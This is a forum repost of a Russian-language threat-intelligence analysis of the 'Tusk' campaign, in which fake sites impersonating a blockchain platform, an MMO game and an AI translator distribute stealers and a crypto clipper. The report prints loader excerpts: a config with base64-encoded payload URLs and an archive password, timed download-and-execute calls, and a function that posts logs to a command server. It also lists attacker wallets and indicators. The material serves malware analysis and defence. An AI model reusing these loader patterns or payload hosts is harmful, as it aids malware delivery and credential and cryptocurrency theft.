Tusk: разбор сложной кампании с использованием стилеров

BOOX

Стаж на ФС с 2012 года
Команда форума
Служба безопасности
Private Club
Регистрация
23/1/18
Сообщения
27.581
Репутация
11.420
Реакции
60.946
RUB
50

Краткий обзор

Эксперты обнаружили сложную кампанию русскоязычных киберпреступников, состоящую из множества подкампаний. Каждая из них имитирует определенный легитимный проект: злоумышленники вносят незначительные изменения в названия и брендинг, а также используют многочисленные аккаунты в социальных сетях, чтобы вызвать доверие жертв.

В ходе анализа мы обнаружили, что первичные загрузчики всех активных подкампаний размещены в Dropbox. Через загрузчики образцы вредоносного ПО, в частности стилеры (Danabot и StealC) и клипперы, попадают на устройство жертвы. Помимо этого, злоумышленники используют техники фишинга, чтобы обманом получить у пользователей конфиденциальную информацию, например учетные данные. Позже их могут продать в даркнете или использовать для несанкционированного доступа к игровым аккаунтам и криптовалютным кошелькам жертв, чтобы красть средства напрямую.

Нам удалось выявить три активных (на момент проведения анализа) и шестнадцать неактивных подкампаний. Мы дали им общее название Tusk (англ. «бивень»), потому что в трех активных кампаниях в сообщениях логов у первичных загрузчиков употреблялось слово «мамонт», которым русскоговорящие злоумышленники обозначают жертву. Вероятно, выбор такого термина связан с тем, что древние люди охотились на мамонтов, чтобы продавать их бивни.

Неактивные подкампании, которые мы проанализировали, — это либо старые кампании, либо еще не запущенные. В этой статье мы подробнее опишем три активных подкампании. На схеме ниже представлена их хронология:

tusk-campaigns-featured-image-1200x600.jpg




Хронология кампании

Первая подкампания: TidyMe

В рамках этой кампании злоумышленники имитировали peerme.io — платформу для создания в блокчейне MultiversX и управления ими. Эта платформа предоставляет криптосообществам и проектам инструменты для менеджмента, финансирования и совместной работы в рамках децентрализованной системы. Сайт злоумышленников располагался по адресу tidyme[.]io.


Первая подкампания: вредоносный и исходный сайты

На изображении выше можно увидеть, что на вредоносном сайте вместо кнопки Create your Team now («Создать свою команду») присутствует кнопка Download («Скачать»). По нажатии кнопки вредоносный сайт отправляет запрос на веб-сервер с User-Agent в качестве аргумента. Используя полученные данные, веб-сервер определяет подходящую версию вредоносного ПО и отправляет жертве соответствующий файл. Детали этого процесса приведены на схеме.


Типичные действия веб-сервера для загрузки той версии вредоносного ПО, которая соответствует операционной системе жертвы

В этой кампании используется несколько образцов вредоносного ПО для Windows и macOS, и все они хранятся в Dropbox. Далее в статье мы будем рассматривать только образцы для Windows.

Помимо распространения зараженных файлов, кампания предполагает, что жертвы подключают свои криптовалютные кошельки напрямую к веб-сайту злоумышленников. Для дальнейшего расследования мы создали тестовый кошелек с небольшой суммой и тоже привязали его к сайту. Таким образом мы надеялись раскрыть адрес криптовалютного кошелька злоумышленника для последующего анализа блокчейна. Однако в ходе нашей проверки попыток вывода средств мы не зафиксировали.

За время нашего расследования инфраструктуру успели перенести на домены tidymeapp[.]io и tidyme[.]app. Домен tidymeapp[.]io теперь содержит обновленную версию первичного загрузчика с защитой от анализа. Несмотря на изменения, его основное предназначение остается прежним: скачивание и выполнение файлов для последующих этапов атаки. Мы еще анализируем новые образцы, тем не менее их индикаторы компрометации включены в раздел «Индикаторы компрометации» этой статьи. Ниже представлен подробный анализ более ранних образцов с сайта tidyme[.]io.

Первичный загрузчик TidyMe.exe

Этот образец — приложение на основе Electron. После его выполнения отображается CAPTCHA: чтобы продолжить, жертве нужно ввести код. Все вредоносные действия приостанавливаются до успешной проверки: мы предполагаем, что злоумышленники добавили CAPTCHA, чтобы предотвратить выполнение вредоносного ПО при использовании автоматических инструментов динамического анализа (например, песочниц).


CAPTCHA

Стоит упомянуть, что CAPTCHA обрабатывается не сторонним сервисом, а непосредственно в JavaScript-файле captcha.js — значит, хакеры намеревались убедиться, что пользователь выполнит их образец.
После прохождения проверки образец открывает главный экран приложения, напоминающий страницу профиля. Впрочем, даже если пользователь заполнит его, ничего не произойдет. Параллельно образец скачивает и затем выполняет два дополнительных вредоносных файла.


Главный экран TidyMe.exe

Работа загрузчика

Образец tidyme.exe содержит конфигурационный файл config.json с URL-адресами, закодированными в base64, и паролем для распаковки заархивированных данных, с помощью которых загружаются полезные нагрузки второго этапа. Содержимое файла выглядит так:

1
2
3
4
5
{
"archive": "aHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2NsL2ZpL2N3NmpzYnA5ODF4eTg4dHprM29ibS91cGRhdGVsb2FkLnJhcj9ybGtleT04N2c5NjllbTU5OXZub3NsY2dseW85N2ZhJnN0PTFwN2RvcHNsJmRsPTE=",
"password": "newfile2024",
"bytes": "aHR0cDovL3Rlc3Rsb2FkLnB5dGhvbmFueXdoZXJlLmNvbS9nZXRieXRlcy9m"
}
В таблице представлен список декодированных URL-адресов:

Название поляДекодированное значение
Archivehxxps[:]//www.dropbox[.]com/scl/fi/cw6jsbp981xy88tzk3obm/updateload.rar?rlkey=87g969em599vnoslcglyo97fa&st=1p7dopsl&dl=1
Byteshxxp[:]//testload.pythonanywhere[.]com/getbytes/f

Основные возможности загрузчика хранятся в двух функциях, downloadAndExtractArchive и loadFile, в файле preload.js. Функция downloadAndExtractArchive извлекает из конфигурационного файла значение поля archive, содержащее закодированную ссылку на Dropbox, декодирует ее и сохраняет файл из Dropbox по пути %TEMP%/archive-<RANDOM_STRING>.

Скачанный файл — это защищенный паролем архив RAR, который распаковывается с помощью значения поля password из конфигурационного файла. После этого выполняются все файлы с расширением .exe из архива.

Функция loadFile извлекает значение поля bytes из конфигурационного файла, декодирует его, используя base64, и отправляет запрос GET по полученному URL-адресу. Ответ содержит массив байт, который впоследствии конвертируется в байты и записывается в файл %TEMP%/<MD5_HASH_OF_CURRENT_TIME>.exe. После успешной загрузки эта функция декодирует файл, добавляет 750 000 000 байт в конец этого файла и выполняет его.

Обе эти функции, как и другие, экспортируются, что позволяет процессам рендеринга вызывать их в файле под названием script.js с некоторой задержкой после того, как пользователь пройдет проверку CAPTCHA. Код, отвечающий за вызов этих функций:

1
2
3
4
5
6
7
8
setTimeout(() => {
window.api.downloadAndExtractArchive()
}, 10000)
setTimeout(() => {
window.api.loadFile()
}, 100000)
...

Помимо указанных выше функций, образец содержит функцию sendRequest. Она отвечает за отправку сообщений журнала на командный сервер (URL-адрес hxxps[:]//tidyme[.]io/api.php) с помощью сообщений HTTP POST. Ниже представлен код этой функции:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async function sendRequest(data) {
const formData = new URLSearchParams();
Object.entries(data).forEach(([key, value]) => {
formData.append(key, value);
});
const response = await fetch(' ', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: formData,
});
return response.json();
}
Пример данных, переданных функции sendRequest в качестве аргументов:

1
2
3
4
5
6
7
8
9
const { v4: uuidv4 } = require('uuid');
const randomUUID = uuidv4();
let data = {
key: "aac1ff44",
type: "customlog",
code: randomUUID,
message: "Нет действия..."
};
Сообщения, отправляемые на командный сервер, написаны на русском.

Ошибка при создании буфера из архивных данных:
Нет действия…
Создаю директорию.
Получил файл.
Записал файл в директорию.
Unboxing подъехал.
Открыл файл.
Не смог открыть файл. Error:
Глобальная ошибка:
Нет действия…
Выполняю повторный стук.
Не удалось получить файл с сайта! Перезапускаюсь.
Файл успешно записан на устройство.
Раздуваю файл.
Открыл файл.
Неудачное открытие файла, через 4 минуты повторяю…:
Глобальная ошибка:
Мамонт открыл лаунчер…
Мамонт свернул лаунчер…
Мамонт закрыл лаунчер…
Схема ниже демонстрирует типичную работу по загрузке этого образца:


Типичная работа первичного загрузчика TidyMe.exe

В этой кампании и updateload.exe, и bytes.exe — один и тот же файл со следующими хэшами:
  • MD5: B42F971AC5AAA48CC2DA13B55436C277
  • SHA1: 5BF729C6A67603E8340F31BAC2083F2A4359C24B
  • SHA256: C990A578A32D545645B51C2D527D7A189A7E09FF7DC02CEFC079225900F296AC

Полезная нагрузка — updateload.exe и bytes.exe

Этот образец использует HijackLoader — модульный загрузчик с такими возможностями, как обход UAC, различные методы внедрения процессов и уклонение от перехвата API. После загрузки и выполнения файл updateload.exe (или bytes.exe) запускает серию внедрений процессов, начиная с внедрения шелл-кода в cmd.exe.

Затем файл удаляет себя, а вредоносный шелл-код из cmd.exe внедряет другой блок шелл-кода в explorer.exe. В обоих случаях используется 32-разрядный шелл-код. В результате цепочки внедрений финальный этап атаки выполняется в контексте процесса explorer.exe — это вариант вредоносного ПО семейства стилеров StealC. Полезная нагрузка финального этапа начинает обмен данными с командным сервером злоумышленника, загружая дополнительные легитимные DLL-файлы для сбора и отправки информации о зараженной системе, включая нижеперечисленные данные:
  • HWID (уникальный идентификатор зараженной системы, вычисляемый вредоносным ПО на основе серийного номера диска C);
  • Номер сборки (meowsterioland4);
  • Данные о сети:
    • IP-адрес;
    • Страна;
  • Сводка информации о системе:
    • ID оборудования из операционной системы;
    • ОС;
    • Архитектура;
    • Имя пользователя;
    • Местное время;
    • Установленные приложения;
    • Все пользователи;
    • Текущий пользователь;
    • Список процессов;
  • Скриншот.
Затем вредоносный код запрашивает у командного сервера (публичного IP-адреса) конфигурацию, чтобы определить, какую информацию собирать. В таблице ниже приведены конфигурации с описанием:
Название конфигурацииОписание
browsersДанные нужно собирать из браузеров
pluginsДанные нужно собирать из расширений браузеров
fpluginН/Д
walletsДанные нужно собирать от приложений кошельков
Схема иллюстрирует этапы выполнения образца:


Первая подкампания: updateload.exe

Выявление дополнительных подкампаний

Исследовав первую подкампанию, мы провели анализ данных о киберугрозах (CTI) и поиск в открытых источниках (OSINT), чтобы собрать как можно больше информации, связанной с этой конкретной кампанией и ее операторами. Мы просмотрели DNS-записи TidyMe и выявили со значением _dc-mx.bf442731a463[.]tidyme[.]io.

Разрешив этот домен в запись типа A, мы получили IP-адрес 79.133.180[.]213. Портал «Лаборатории Касперского» Threat Intelligence Portal (TIP) позволил нам выявить все связанные с этим IP-адресом домены — как актуальные, так и уже не действующие. Список всех доменов приведен в таблице ниже.

Домены
tidyme[.]io
runeonlineworld[.]io
voico[.]io
astrosounsports[.]shop
batverssaports[.]shop
dintrinnssports[.]shop
dustfightergame[.]com
edvhukkkmvgcct[.]shop
gurunsmilrsports[.]shop
izxxd[.]top
partyroyale[.]fun
partyroyale[.]games
partyroyaleplay[.]com
partyroyaleplay[.]io
refvhnhkkolmjbg[.]shop
sinergijiasport[.]shop
supme[.]io
vinrevildsports[.]shop
wuwelej[.]top

Из перечисленных доменов на момент анализа были активны только первые три. Про tidyme[.]io мы уже рассказали, посмотрим на остальные два.
Все три активных кампании связаны не только через домены и IP-адрес; они все имитировали реальные, легитимные проекты и содержали ссылку на первичный загрузчик вредоносного ПО. На схеме показаны связи между кампаниями:


Взаимосвязь подкампаний

Вторая подкампания: RuneOnlineWorld

В рамках этой кампании злоумышленники подделали сайт MMO-игры. Этот сайт расположен в домене riseonlineworld.com, а вредоносная копия — по адресу runeonlineworld[.]io.


Вторая подкампания: вредоносный и исходный сайты

На вредоносном сайте RuneOnlineWorld расположена ссылка на первичный загрузчик, замаскированная под кнопку скачивания лаунчера игры. Как и в первой подкампании, загрузчик хранится в Dropbox. Логика подбора версии ПО, соответствующей устройству жертвы, также идентична используемой в TidyMe. Название образца — RuneOnlineWorld.exe.

Первичный загрузчик RuneOnlineWorld.exe

Этот образец также является приложением на основе Electron, а его логика и структура почти идентичны первичному загрузчику первой подкампании. Конфигурационный файл содержит другие URL-адреса, но основные различия касаются главного экрана приложения: он имитирует страницу авторизации, а не страницу профиля и обрабатывает данные, введенные при авторизации.



В первую очередь пароль проверяется на сложность, и, если проверка проходит успешно, имя пользователя и пароль отправляются на командный сервер. Затем отображается страница загрузки. На деле это «обманка», которая дает фоновым задачам достаточно времени для скачивания дополнительных вредоносных файлов. На схеме пошагово представлена работа первичного загрузчика:


Типичная работа первичного загрузчика RuneOnlineWorld.exe

Полезная нагрузка первого этапа — updateload.exe​

В кампании RuneOnlineWorld две полезные нагрузки уже не собраны в один файл. Updateload.exe использует HijackLoader и внедряет код в легитимные программы, чтобы избежать обнаружения: сначала в cmd.exe, затем — в explorer.exe.

Вредоносный код, внедренный в explorer.exe, начинает связываться с несколькими командными серверами для загрузки дополнительных файлов DDL и MSI, которые сохраняет по пути C:\Users\<имяпользователя>\Appdata\. После скачивания вредоносных файлов explorer.exe выполняет их, используя msiexec.exe для MSI и rundll32.exe для DLL соответственно. Финальный этап атаки для этого образца осуществляют несколько стилеров семейств Danabot и StealC, внедренных в explorer.exe. Схема иллюстрирует этапы выполнения этого образца:


Вторая подкампания: updateload.exe

Полезная нагрузка второго этапа — bytes.exe

Этот образец также использует HijackLoader, чтобы избежать обнаружения. Он распаковывает разные этапы полезной нагрузки и внедряет их в легитимные процессы. Сначала образец создает код, который внедряет в cmd.exe, затем — в explorer.exe, а после — в OpenWith.exe, легитимный процесс Windows. Последний блок вредоносного кода загружает следующий этап с командного сервера злоумышленников (еще одного общедоступного IP-адреса), декодирует его и внедряет в другой экземпляр OpenWith.exe.

На этом этапе полезная нагрузка скачивает в директорию %APPDATA%\AD_Security\ шесть файлов и создает запланированную задачу (FJ_load), которая при входе в систему будет выполнять файл madHcCtrl.exe для закрепления на устройстве. Ниже представлен список файлов, скачиваемых на этом этапе.

Хэш SHA256Имя файла
bufotenine.yml
69a90665113bd73b30360d87f7f6ed2c789a90a67f3b6e86474e21273a64f699madHcCtrl.exe
madHcNet32.dll
b7d3bc460a17e1b43c9ff09786e44ea4033710538bdb539400b55e5b80d0b338mvrSettings32.dll
0891edb0cc1c0208af2e4bc65d6b5a7160642f89fd4b4dc321f79d2b5dfc2dccunrar.dll
wickerwork.indd

Все файлы DLL и EXE легитимны, за исключением madHcNet32.dll. Вредоносные файлы wickerwork.indd и bufotenine.yml содержат зашифрованные данные.
На схеме представлена последовательность действий образца для извлечения полезной нагрузки:


Вторая подкампания: bytes.exe

madHcNet32.dll

madHcCtrl.exe загружает и выполняет madHcNet32.dll, который в свою очередь использует HijackLoader для извлечения и выполнения финальной полезной нагрузки. После запуска madHcCtrl.exe внедряет следующий этап в cmd.exe; затем и финальный этап внедряется в explorer.exe. Финальная полезная нагрузка — это клиппер, написанный на языке GO на основе вредоносного ПО с открытым исходным кодом. Схема ниже демонстрирует этапы выполнения этого образца:


Вторая подкампания: madHcNet32.dll

Клиппер отслеживает данные буфера обмена. Если в буфер обмена копируется адрес криптовалютного кошелька, зловред заменяет его на следующий:
  • BTC: 1DSWHiAW1iSFYVb86WQQUPn57iQ6W1DjGo
Кроме того, образец содержит уникальные строки, в том числе приведенные ниже:
  • C:/Users/Helheim/
  • C:/Users/Helheim/Desktop/clipper no autorun/mainTIMER.go
При поиске образцов, содержащих те же строки, мы обнаружили несколько вариантов с различными адресами кошельков:
  • ETH: 0xaf0362e215Ff4e004F30e785e822F7E20b99723A
  • BTC: bc1qqkvgqtpwq6g59xgwr2sccvmudejfxwyl8g9xg0
На втором и третьем кошельке были обнаружены транзакции. На момент написания этой статьи транзакции на первом кошельке не зарегистрированы.
Активность по второму криптокошельку была отмечена с 4 марта по 31 июля, на него поступило 9,137 ETH. Третий кошелек был активен со 2 апреля по 6 августа, общая сумма зачислений составила 0,0209 BTC.

Стоит обратить внимание, что мы обнаружили эти адреса исключительно в клиппере. В кампании также используются стилеры, с помощью которых злоумышленники крадут данные программных криптовалютных кошельков, позволяющих пользоваться средствами жертв. Впрочем, такую активность нам обнаружить не удалось. Кроме того, стилеры собирают учетные данные из браузеров и прочих источников, что позволяет злоумышленникам получить доступ к другим сервисам, используемым жертвой (например, к системам онлайн-банкинга), или продать украденные данные в даркнете.

Третья подкампания: Voico

В рамках этой кампании злоумышленники имитировали переводчик на базе ИИ под названием YOUS. Этот сайт расположен в домене yous.ai, а вредоносная копия — по адресу voico[.]io.


Третья подкампания: вредоносный и исходный сайты

Как и в двух предыдущих подкампаниях, на вредоносном веб-сайте расположена ссылка на первичный загрузчик, замаскированный под приложение. Загрузчик так же хранится на Dropbox, логика подбора версии ПО, соответствующей устройству жертвы, также идентична используемой в TidyMe. За время нашего исследования этот вредоносный веб-сайт прекратил свое существование. Образец вредоносного ПО носит название Voico.exe.

Первичный загрузчик Voico.exe

Этот образец также является приложением на основе Electron, а его логика и структура почти идентичны двум ранее описанным. Основные различия касаются главного экрана приложения и содержащихся в конфигурационном файле URL-адресов.


Главный экран Voico.exe

Помимо этого, отличается процесс сбора данных: образец предлагает жертве заполнить форму регистрации, но не отправляет данные на командный сервер, а передает их функции console.log().

1
2
3
4
5
// Теперь вы можете использовать эти значения для дальнейшей обработки или отправки на сервер
console.log('Username:', username);
console.log('Native Language:', nativeLanguage);
console.log('Voice:', voice);
console.log('Password:', password);

Схема ниже демонстрирует ход выполнения этого образца:


Ход выполнения Voico.exe

Оба выполняемых файла в этой кампании (updateload.exe и bytes.exe) по поведению очень напоминают файл updateload.exe из .

Полезная нагрузка — updateload.exe и bytes.exe

Оба образца похожи на updateload.exe из второй подкампании, но с одним различием: скачанное ими вредоносное ПО StealC связывается с другим командным сервером. В остальном ход их работы идентичен вплоть до выполнения финальной полезной нагрузки. Схема ниже показывает ход выполнения этих образцов:


Третья подкампания: updateload.exe и bytes.exe

Другие возможные подкампании

Образцы кампании, проанализированные в ходе нашего исследования, были размещены на веб-сайте злоумышленников по адресам http://testload.pythonanywhere[.]com/getbytes/f и http://testload.pythonanywhere[.]com/getbytes/m. Мы не нашли других ресурсов, которые использовались бы в активных подкампаниях на момент проведения анализа (что тем не менее не означает, что их не начнут использовать в будущем).

Однако мы также отметили, что некоторые другие образцы хранились на других ресурсах, не имеющих отношения к активным подкампаниям. Список ведущих к этим образцам путей на сайте PythonAnywhere:
  • http://testload.pythonanywhere[.]com/getbytes/s
  • http://testload.pythonanywhere[.]com/getbytes/h
Хэши файлов включены в список индикаторов компрометации, представленный ниже.

Заключение

Описанная в этом отчете сложная кампания представляет собой устойчивую и развивающуюся угрозу со стороны киберпреступников, которые ради обмана жертв умело подражают легитимным проектам. Пользуясь доверием пользователей к известным платформам, злоумышленники эффективно разворачивают вредоносное ПО, разработанное специально для сбора конфиденциальных данных, компрометации систем и в конечном итоге получения финансовой выгоды.

Опора на методы социальной инженерии (такие как фишинг) в сочетании с многоэтапными механизмами распространения вредоносного ПО подчеркивает продвинутые возможности злоумышленников, стоящих за этой кампанией. Использование таких платформ, как Dropbox, для размещения первичных загрузчиков, а также развертывание стилеров и клипперов указывает на скоординированные усилия, направленные на то, чтобы избежать обнаружения и максимизировать эффект проводимых операций.

Сходства подкампаний и их общая инфраструктура предполагает, что за сложной кампанией может стоять один и тот же финансово мотивированный злоумышленник (или группа злоумышленников). Наш детальный анализ трех активных подкампаний, от типичной работы первичных загрузчиков до финальных полезных нагрузок, раскрывает сложную цепочку атак, разработанных для проникновения в среды как Windows, так и macOS.

Обнаружение 16 неактивных подкампаний, в свою очередь, подчеркивает динамичный и адаптируемый характер деятельности злоумышленников. Эти неактивные подкампании могут представлять собой либо старые кампании, которые были завершены, либо новые, которые еще не были запущены — что демонстрирует способность атакующих быстро создавать и развертывать новые вредоносные операции, нацеленные на актуальные на момент кампании тенденции. Быстрый цикл смены подкампаний указывает на хорошо оснащенного, гибкого актора, умеющего оперативно менять тактику и инфраструктуру, чтобы избежать обнаружения и сохранить эффективность своих кампаний.

Наличие спящих кампаний также свидетельствует о том, что злоумышленники, вероятно, продолжат развивать стратегии, активируя подкампании заново или запуская совершенно новые в ближайшем будущем. Все это подчеркивает необходимость непрерывного мониторинга и проактивных стратегий защиты для опережения развивающейся угрозы.


 
  • Теги
    tusk клиппер стилер фишинг
  • Сверху Снизу